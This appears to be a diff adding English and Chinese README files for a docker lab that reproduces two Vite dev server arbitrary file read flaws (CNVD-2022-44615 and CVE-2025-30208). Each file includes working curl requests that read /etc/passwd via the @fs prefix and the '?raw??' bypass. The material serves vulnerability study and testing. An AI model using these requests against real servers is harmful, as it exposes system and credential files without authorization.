+# Vite Development Server Arbitrary File Read (CNVD-2022-44615)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Vite is a modern frontend build tool that provides a faster and leaner development experience for modern web projects. It consists of two major parts: a dev server with Hot Module Replacement (HMR) capability, and a build command that bundles your code with Rollup.
+
+In versions of Vite before 2.3.0, arbitrary files on the filesystem can be read using the `@fs` prefix.
+
+References:
+
+- <https://github.com/vitejs/vite/issues/2820>
+
+## Environment Setup
+
+Execute the following command to start a Vite 2.1.5 development server:
+
+```bash
+docker compose up -d
+```
+
+After the server starts, you can access the Vite development environment at `http://your-ip:3000`.
+
+> Note: The development server of the old version of Vite defaults to port 3000, while the new version defaults to port 5173, please pay attention to the difference.
+
+## Vulnerability Reproduction
+
+You can read arbitrary files on the filesystem by using the standard `@fs` prefix:
+
+```bash
+curl "http://your-ip:3000/@fs/etc/passwd"
+```

+# Vite开发服务器任意文件读取漏洞（CNVD-2022-44615）
+
+Vite是一个现代前端构建工具，为Web项目提供更快、更精简的开发体验。它主要由两部分组成：具有热模块替换（HMR）功能的开发服务器，以及使用Rollup打包代码的构建命令。
+
+在Vite 2.3.0 版本之前，可以通过 `@fs` 前缀读取文件系统上的任意文件。

+# Vite Development Server Arbitrary File Read Bypass (CVE-2025-30208)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Vite is a modern frontend build tool that provides a faster and leaner development experience for modern web projects. It consists of two major parts: a dev server with Hot Module Replacement (HMR) capability, and a build command that bundles your code with Rollup.
+
+In versions of Vite before 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10, the `server.fs.deny` feature, which is designed to restrict access to files outside of Vite's serving allow list, can be bypassed. By appending `?raw??` or `?import&raw??` to URLs using the `@fs` prefix, an attacker can read arbitrary files on the filesystem, as long as the Node.js process has permission to read them.
+
+This vulnerability occurs because trailing separators such as `?` are removed in several places during request processing, but are not accounted for in query string regular expressions, leading to the security check bypass.
+
+This vulnerability is a bypass for the patch of [CNVD-2022-44615](../CNVD-2022-44615/README.md).

+
+## Environment Setup
+
+Execute the following command to start a Vite 6.2.2 development server:
+
+```
+docker compose up -d
+```
+
+After the server starts, you can access the Vite development environment at `http://your-ip:5173`.
+
+> Note: The development server of the old version of Vite defaults to port 3000, while the new version defaults to port 5173, please pay attention to the difference.
+
+## Vulnerability Reproduction
+
+The vulnerability allows an attacker to read arbitrary files on the server's filesystem by bypassing the `server.fs.deny` protection.
+
+First, try to access `/etc/passwd` using the standard `@fs` prefix to verify that normal access to files outside the allowed directories is properly blocked:
+
+![](1.png)
+
+You should receive a 403 Forbidden response because this path is outside of Vite's allowed serving list.
+
+However, by appending `?raw??` to the URL, you can bypass this restriction and retrieve the contents of the file:
+
+```
+curl "http://your-ip:5173/@fs/etc/passwd?raw??"
+```
+
+This request will return the contents of the `/etc/passwd` file:
+
+![](2.png)
+
+Alternatively, you can also use the `?import&raw??` query parameters to achieve the same result.

+# Vite开发服务器任意文件读取漏洞绕过（CVE-2025-30208）
+
+Vite是一个现代前端构建工具，为Web项目提供更快、更精简的开发体验。它主要由两部分组成：具有热模块替换（HMR）功能的开发服务器，以及使用Rollup打包代码的构建命令。
+
+在Vite 6.2.3、6.1.2、6.0.12、5.4.15和4.5.10版本之前，用于限制访问Vite服务允许列表之外的文件的`server.fs.deny`功能可被绕过。通过在URL的`@fs`前缀后增加`?raw??`或`?import&raw??`，攻击者可以读取文件系统上的任意文件。
+
+此漏洞发生的原因是，在请求处理过程中尾部分隔符（如`?`）在多个地方被移除，但在查询字符串正则表达式中没有考虑，导致安全检查被绕过。
+
+这个漏洞是[CNVD-2022-44615](../CNVD-2022-44615/README.zh-cn.md)补丁的绕过。

+
+## 漏洞复现
+
+尝试使用标准的`@fs`前缀访问`/etc/passwd`，测试正常访问是否会被限制：
+
+![](1.png)
+
+可见，当发送请求到`http://your-ip:5173/@fs/etc/passwd`时，你会收到403 Forbidden响应，因为这个路径在Vite服务的允许范围之外。
+
+通过在URL后附加`?raw??`，你就可以绕过这个限制并获取文件内容：
+
+```
+curl "http://your-ip:5173/@fs/etc/passwd?raw??"
+```
+
+这个请求将会返回`/etc/passwd`文件的内容：
+
+![](2.png)
+
+除了上面的Payload，你也可以使用`?import&raw??`来达到相同的效果。
